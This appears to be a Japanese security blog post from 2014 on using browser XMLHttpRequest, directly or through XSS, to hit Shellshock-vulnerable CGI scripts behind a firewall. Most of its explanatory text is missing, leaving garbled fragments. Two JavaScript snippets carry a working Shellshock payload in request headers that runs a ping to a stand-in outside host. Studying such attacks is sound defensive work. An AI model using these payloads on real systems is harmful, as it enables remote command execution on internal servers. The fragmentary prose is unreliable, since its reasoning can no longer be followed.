ファイアウォール内のサーバに対するShellshockを利用した攻撃


2014-09-27: XSS id:mayuki ShellshockCGIURL
bash



(一)CGI(Shellshock)

(二)URL()



URLJavaScriptWebXHR
var xhr = new XMLHttpRequest();
xhr.open( "GET", "http://192.168.1.1/shellshock-vulnerable.cgi", true ); // ファイアウォール内のURL
xhr.onload = function(){};
xhr.setRequestHeader( "Accept", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XHRAcceptpreflightJavaScriptCGICGIAccept HTTP_ACCEPT 

BASICURL

ShellshockURL



2014-09-27

bash



(一)CGI(Shellshock)

(二)XSSWeb)

(三)1.2.URL()



URL2.XSSJavaScriptWeb
var xhr = new XMLHttpRequest();
xhr.open( "GET", "/shellshock-vulnerable.cgi", true );
xhr.onload = function(){};
xhr.setRequestHeader( "X-test", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XMLHttpRequestCGIXMLHttpRequestpreflightCGIXSS

CGI

BASICURLXSS

XSSURL


XSS使